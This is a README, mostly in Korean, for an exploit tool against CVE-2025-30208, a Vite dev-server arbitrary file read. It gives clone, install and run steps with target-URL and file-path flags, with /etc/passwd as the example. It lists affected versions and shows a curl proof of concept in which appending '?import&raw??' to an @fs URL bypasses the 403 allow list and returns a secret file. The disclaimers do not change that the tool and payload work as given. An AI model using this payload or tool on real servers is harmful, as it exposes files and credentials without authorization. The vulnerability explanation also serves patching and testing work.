
이 익스플로잇은 교육 및 윤리적 보안 테스트 목적으로만 사용됩니다. 사전 상호 동의 없이 표적에 대해 이 익스플로잇을 사용하는 것은 불법이며, 개발자는 이 익스플로잇으로 인한 오용 또는 손해에 대해 어떠한 책임도 부인합니다.
[!IMPORTANT]
면책 조항
이 익스플로잇은 교육 및 윤리적 보안 테스트 목적으로만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 익스플로잇을 사용하는 것은 불법이며, 개발자는 이 익스플로잇으로 인한 오용 또는 피해에 대해 어떠한 책임도 지지 않습니다.
git clone https://github.com/On1onss/CVE-2025-30208.git
cd CVE-2025-30208
pip install -r requirements.txt
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]
options:
-h, --help show this help message and exit
-t <Target URL> Example: -t http://localhost:5173/
-fp <File Path> Example: -fp /etc/passwd
-i Interactive mode
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
임의 파일의 내용이 브라우저로 반환될 수 있습니다.
네트워크에 Vite 개발 서버를 명시적으로 노출하는(--host 또는 server.host 구성 옵션 사용) 앱만 영향을 받습니다.
@fs는 Vite 서빙 허용 목록 외부의 파일에 대한 액세스를 거부합니다. URL에 ?raw?? 또는 ?import&raw??를 추가하면 이 제한을 우회하여 파일이 존재할 경우 해당 파일의 내용을 반환합니다. 이 우회는 ?와 같은 후행 구분 기호가 여러 곳에서 제거되지만 쿼리 문자열 정규식에서는 고려되지 않기 때문에 존재합니다.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...